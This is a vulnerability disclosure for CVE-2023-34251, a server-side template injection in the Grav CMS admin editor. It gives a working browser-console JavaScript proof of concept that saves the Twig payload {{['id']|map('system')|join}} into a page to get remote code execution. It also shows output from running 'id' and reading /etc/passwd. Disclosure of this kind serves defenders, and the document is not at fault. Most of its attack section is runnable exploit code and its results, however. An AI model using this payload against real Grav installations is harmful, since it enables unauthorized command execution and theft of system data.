CVE-2023-34251: Grav Server Side Template Injection (SSTI) vulnerability

Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.

Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.

PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed. js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=uniqueformid]").value;

const payload = "{{['id']|map('system')|join}}"; // SSTI Payload

const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][bodyclasses]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleabledata[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][orderby]", ""); params.append("data[header][ordermanual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("postentriessave", "edit"); params.append("form-name", "flex-pages"); params.append("uniqueformid", id); params.append("admin-nonce", nonce);

await fetch("http://127.0.0.1:8000/admin/pages/typography", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded", }, body: params, });

window.open("http://127.0.0.1:8000/admin/pages/poc/:preview"); })();

Execution Result - Payload: {{['id']|map('system')|join}} sh uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) - Payload: {{['cat /etc/passwd']|map('system')|join}} sh # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody::-2:-2:Unprivileged User:/var/empty:/usr/bin/false root::0:0:System Administrator:/var/root:/bin/sh daemon::1:1:System Services:/var/root:/usr/bin/false uucp::4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico taskgated::13:13:Task Gate Daemon:/var/empty:/usr/bin/false networkd::24:24:Network Services:/var/networkd:/usr/bin/false installassistant::25:25:Install Assistant:/var/empty:/usr/bin/false lp::26:26:Printing Services:/var/spool/cups:/usr/bin/false postfix::27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false scsd::31:31:Service Configuration Service:/var/empty:/usr/bin/false ces::32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false appstore::33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false mcxalr::54:54:MCX AppLaunch:/var/empty:/usr/bin/false appleevents::55:55:AppleEvents Daemon:/var/empty:/usr/bin/false geod::56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false devdocs::59:59:Developer Documentation:/var/empty:/usr/bin/false sandbox::60:60:Seatbelt:/var/empty:/usr/bin/false mdnsresponder::65:65:mDNSResponder:/var/empty:/usr/bin/false ard::67:67:Apple Remote Desktop:/var/empty:/usr/bin/false www::70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false eppc::71:71:Apple Events User:/var/empty:/usr/bin/false cvs::72:72:CVS Server:/var/empty:/usr/bin/false svn::73:73:SVN Server:/var/empty:/usr/bin/false mysql::74:74:MySQL Server:/var/empty:/usr/bin/false sshd::75:75:sshd Privilege separation:/var/empty:/usr/bin/false qtss::76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false cyrus::77:6:Cyrus Administrator:/var/imap:/usr/bin/false mailman::78:78:Mailman List Server:/var/empty:/usr/bin/false appserver::79:79:Application Server:/var/empty:/usr/bin/false clamav::82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false amavisd::83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false jabber::84:84:Jabber XMPP Server:/var/empty:/usr/bin/false appowner::87:87:Application Owner:/var/empty:/usr/bin/false windowserver::88:88:WindowServer:/var/empty:/usr/bin/false spotlight::89:89:Spotlight:/var/empty:/usr/bin/false tokend::91:91:Token Daemon:/var/empty:/usr/bin/false securityagent::92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false calendar::93:93:Calendar:/var/empty:/usr/bin/false teamsserver::94:94:TeamsServer:/var/teamsserver:/usr/bin/false updatesharing::95:-2:Update Sharing:/var/empty:/usr/bin/false installer::96:-2:Installer:/var/empty:/usr/bin/false atsserver::97:97:ATS Server:/var/empty:/usr/bin/false ftp::98:-2:FTP Daemon:/var/empty:/usr/bin/false unknown::99:99:Unknown User:/var/empty:/usr/bin/false softwareupdate::200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false coreaudiod::202:202:Core Audio Daemon:/var/empty:/usr/bin/false screensaver::203:203:Screensaver:/var/empty:/usr/bin/false locationd::205:205:Location Daemon:/var/db/locationd:/usr/bin/false trustevaluationagent::208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false timezone::210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false lda::211:211:Local Delivery Agent:/var/empty:/usr/bin/false cvmsroot::212:212:CVMS Root:/var/empty:/usr/bin/false usbmuxd::213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false dovecot::214:6:Dovecot Administrator:/var/empty:/usr/bin/false dpaudio::215:215:DP Audio:/var/empty:/usr/bin/false postgres::216:216:PostgreSQL Server:/var/empty:/usr/bin/false krbtgt::217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false kadminadmin::218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false kadminchangepw::219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false devicemgr::220:220:Device Management Server:/var/empty:/usr/bin/false webauthserver::221:221:Web Auth Server:/var/empty:/usr/bin/false netbios::222:222:NetBIOS:/var/empty:/usr/bin/false warmd::224:224:Warm Daemon:/var/empty:/usr/bin/false dovenull::227:227:Dovecot Authentication:/var/empty:/usr/bin/false netstatistics::228:228:Network Statistics Daemon:/var/empty:/usr/bin/false avbdeviced::229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false krbkrbtgt::230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false krbkadmin::231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false krbchangepw::232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false krbkerberos::233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false krbanonymous::234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false assetcache::235:235:Asset Cache Service:/var/empty:/usr/bin/false coremediaiod::236:236:Core Media IO Daemon:/var/empty:/usr/bin/false launchservicesd::239:239:launchservicesd:/var/empty:/usr/bin/false iconservices::240:240:IconServices:/var/empty:/usr/bin/false distnote::241:241:DistNote:/var/empty:/usr/bin/false nsurlsessiond::242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false displaypolicyd::244:244:Display Policy Daemon:/var/empty:/usr/bin/false astris::245:245:Astris Services:/var/db/astris:/usr/bin/false krbfast::246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false gamecontrollerd::247:247:Game Controller Daemon:/var/empty:/usr/bin/false mbsetupuser::248:248:Setup User:/var/setup:/bin/bash ondemand::249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false xserverdocs::251:251:macOS Server Documents Service:/var/empty:/usr/bin/false wwwproxy::252:252:WWW Proxy:/var/empty:/usr/bin/false mobileasset::253:253:MobileAsset User:/var/ma:/usr/bin/false findmydevice::254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false datadetectors::257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false captiveagent::258:258:captiveagent:/var/empty:/usr/bin/false ctkd::259:259:ctkd Account:/var/empty:/usr/bin/false applepay::260:260:applepay Account:/var/db/applepay:/usr/bin/false hidd::261:261:HID Service User:/var/db/hidd:/usr/bin/false cmiodalassistants::262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false analyticsd::263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false fpsd::265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false timed::266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false nearbyd::268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false reportmemoryexception::269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false driverkit::270:270:DriverKit:/var/empty:/usr/bin/false diskimagesiod::271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false logd::272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false appinstalld::273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false installcoordinationd::274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false demod::275:275:Demo Daemon:/var/empty:/usr/bin/false rmd::277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false accessoryupdater::278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false knowledgegraphd::279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false coreml::280:280:CoreML Services:/var/db/coreml:/usr/bin/false sntpd::281:281:SNTP Server Daemon:/var/empty:/usr/bin/false trustd::282:282:trustd:/var/empty:/usr/bin/false mmaintenanced::283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false darwindaemon::284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false notificationproxy::285:285:Notification Proxy:/var/empty:/usr/bin/false avphidbridge::288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false biome::289:289:Biome:/var/db/biome:/usr/bin/false backgroundassets::291:291:Background Assets Service:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false

PoC Video - PoC Video

Impact Remote Command Execution (RCE) is possible.

Occurrences - https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174

References - PortSwigger: Server-side template injection - HackTricks: SSTI (Server Side Template Injection)